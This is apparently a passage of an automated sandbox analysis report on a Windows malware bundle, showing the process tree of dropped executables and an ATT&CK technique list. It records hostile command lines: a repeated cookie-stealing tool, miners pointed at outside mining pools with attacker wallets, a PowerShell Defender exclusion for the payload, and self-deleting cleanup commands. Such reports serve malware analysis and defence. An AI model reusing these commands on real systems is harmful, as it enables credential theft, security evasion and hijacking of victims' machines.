C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:5872

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:5532

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:3084

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:3912

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rv1pjjf5.gol\google-game.exe & exit
6⤵
PID:4968

C:\Users\Admin\AppData\Local\Temp\rv1pjjf5.gol\google-game.exe
C:\Users\Admin\AppData\Local\Temp\rv1pjjf5.gol\google-game.exe
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:4184

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
8⤵
- Loads dropped DLL
PID:5464

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\msjpmuqb.vid\md1_1eaf.exe & exit
6⤵
PID:5284

C:\Users\Admin\AppData\Local\Temp\msjpmuqb.vid\md1_1eaf.exe
C:\Users\Admin\AppData\Local\Temp\msjpmuqb.vid\md1_1eaf.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5428

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wroi1bgd.y43\HookSetp.exe /silent & exit
6⤵
PID:5384

C:\Users\Admin\AppData\Local\Temp\wroi1bgd.y43\HookSetp.exe
C:\Users\Admin\AppData\Local\Temp\wroi1bgd.y43\HookSetp.exe /silent
7⤵
- Executes dropped EXE
PID:6108

C:\Users\Admin\AppData\Roaming\6879877.exe
"C:\Users\Admin\AppData\Roaming\6879877.exe"
8⤵
- Executes dropped EXE
PID:5740

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xe4zdgcy.bta\BBCbrowser.exe /VERYSILENT & exit
6⤵
PID:4608

C:\Users\Admin\AppData\Local\Temp\xe4zdgcy.bta\BBCbrowser.exe
C:\Users\Admin\AppData\Local\Temp\xe4zdgcy.bta\BBCbrowser.exe /VERYSILENT
7⤵
PID:4780

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
8⤵
PID:6084

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4632

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
8⤵
PID:5940

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mducqwme.fbo\md2_2efs.exe & exit
6⤵
PID:6036

C:\Users\Admin\AppData\Local\Temp\mducqwme.fbo\md2_2efs.exe
C:\Users\Admin\AppData\Local\Temp\mducqwme.fbo\md2_2efs.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4268

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ibuztg20.rcd\askinstall39.exe & exit
6⤵
PID:5956

C:\Users\Admin\AppData\Local\Temp\ibuztg20.rcd\askinstall39.exe
C:\Users\Admin\AppData\Local\Temp\ibuztg20.rcd\askinstall39.exe
7⤵
- Executes dropped EXE
PID:5436

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
8⤵
PID:5112

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
9⤵
- Kills process with taskkill
PID:3516

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rcrk5ehc.5dc\y1.exe & exit
6⤵
PID:4720

C:\Users\Admin\AppData\Local\Temp\rcrk5ehc.5dc\y1.exe
C:\Users\Admin\AppData\Local\Temp\rcrk5ehc.5dc\y1.exe
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5244

C:\Users\Admin\AppData\Local\Temp\uagcStt9tQ.exe
"C:\Users\Admin\AppData\Local\Temp\uagcStt9tQ.exe"
8⤵
- Executes dropped EXE
- Modifies system certificate store
PID:5864

C:\Users\Admin\AppData\Roaming\1619679712818.exe
"C:\Users\Admin\AppData\Roaming\1619679712818.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619679712818.txt"
9⤵
- Executes dropped EXE
PID:4500

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\uagcStt9tQ.exe"
9⤵
PID:5556

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
10⤵
- Runs ping.exe
PID:5760

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\rcrk5ehc.5dc\y1.exe"
8⤵
PID:3172

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:752

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2045k4zo.wem\jvppp.exe & exit
6⤵
PID:4196

C:\Users\Admin\AppData\Local\Temp\2045k4zo.wem\jvppp.exe
C:\Users\Admin\AppData\Local\Temp\2045k4zo.wem\jvppp.exe
7⤵
- Executes dropped EXE
PID:4484

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:4440

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:4088

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:4548

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:6036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k2gypunb.ruh\GcleanerWW.exe /mixone & exit
6⤵
PID:4712

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q2ofs1n0.3s2\toolspab1.exe & exit
6⤵
PID:5080

C:\Users\Admin\AppData\Local\Temp\q2ofs1n0.3s2\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\q2ofs1n0.3s2\toolspab1.exe
7⤵
PID:4632

C:\Users\Admin\AppData\Local\Temp\q2ofs1n0.3s2\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\q2ofs1n0.3s2\toolspab1.exe
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4284

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e20zykvl.ikj\005.exe & exit
6⤵
PID:5444

C:\Users\Admin\AppData\Local\Temp\e20zykvl.ikj\005.exe
C:\Users\Admin\AppData\Local\Temp\e20zykvl.ikj\005.exe
7⤵
- Executes dropped EXE
PID:4232

C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
2⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4176

C:\Users\Admin\AppData\Roaming\C4CC.tmp.exe
"C:\Users\Admin\AppData\Roaming\C4CC.tmp.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4908

C:\Users\Admin\AppData\Roaming\C4CC.tmp.exe
"C:\Users\Admin\AppData\Roaming\C4CC.tmp.exe"
4⤵
- Executes dropped EXE
PID:5124

C:\Users\Admin\AppData\Roaming\C80A.tmp.exe
"C:\Users\Admin\AppData\Roaming\C80A.tmp.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:5044

C:\Windows\system32\msiexec.exe
-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w11101@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
4⤵
PID:5304

C:\Windows\system32\msiexec.exe
-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w2242 --cpu-max-threads-hint 50 -r 9999
4⤵
- Blocklisted process makes network request
PID:5720

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
- Executes dropped EXE
PID:5872

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
3⤵
PID:5344

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
4⤵
- Runs ping.exe
PID:5492

C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5396

C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
2⤵
- Executes dropped EXE
PID:2724

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
PID:4384

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
PID:1420

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
PID:6120

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
PID:588

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:1580

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5196

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:5500

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3692

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:4288

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4584

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4640

C:\Users\Admin\AppData\Local\Temp\EEA6.exe
C:\Users\Admin\AppData\Local\Temp\EEA6.exe
1⤵
- Executes dropped EXE
PID:4588

C:\Users\Admin\AppData\Local\Temp\F3F7.exe
C:\Users\Admin\AppData\Local\Temp\F3F7.exe
1⤵
- Executes dropped EXE
PID:3184

C:\Users\Admin\AppData\Local\Temp\FFFE.exe
C:\Users\Admin\AppData\Local\Temp\FFFE.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5216

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\FFFE.exe"
2⤵
PID:5480

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4768

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:5616

C:\Users\Admin\AppData\Local\Temp\2ED.exe
C:\Users\Admin\AppData\Local\Temp\2ED.exe
1⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of SetThreadContext
PID:5240

C:\Users\Admin\AppData\Local\Temp\ce8bfe89-9f13-40ab-a964-b329710a7cad\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\ce8bfe89-9f13-40ab-a964-b329710a7cad\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\ce8bfe89-9f13-40ab-a964-b329710a7cad\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2⤵
- Executes dropped EXE
PID:3840

C:\Users\Admin\AppData\Local\Temp\ce8bfe89-9f13-40ab-a964-b329710a7cad\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\ce8bfe89-9f13-40ab-a964-b329710a7cad\AdvancedRun.exe" /SpecialRun 4101d8 3840
3⤵
- Executes dropped EXE
PID:4436

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2ED.exe" -Force
2⤵
PID:4604

C:\Users\Admin\AppData\Local\Temp\2ED.exe
"C:\Users\Admin\AppData\Local\Temp\2ED.exe"
2⤵
- Executes dropped EXE
PID:4412

C:\Users\Admin\AppData\Local\Temp\8AB.exe
C:\Users\Admin\AppData\Local\Temp\8AB.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2244

C:\Users\Admin\AppData\Local\Temp\8AB.exe
"{path}"
2⤵
- Executes dropped EXE
PID:4540

C:\Users\Admin\AppData\Local\Temp\F34.exe
C:\Users\Admin\AppData\Local\Temp\F34.exe
1⤵
- Executes dropped EXE
PID:5292

C:\Users\Admin\AppData\Local\Temp\184D.exe
C:\Users\Admin\AppData\Local\Temp\184D.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:5512

C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:6020

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Modifies Internet Explorer settings
PID:5500

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4552

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4000

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:5548

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4808

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:4728

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4172

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:2852

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4156

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:800

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4820

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:408

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4220

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x42c
1⤵
PID:2444

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:2996

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2996 -s 1788
2⤵
- Program crash
PID:5664

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:2360

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2360 -s 1416
2⤵
- Program crash
PID:2284

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:3188

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

System Information Discovery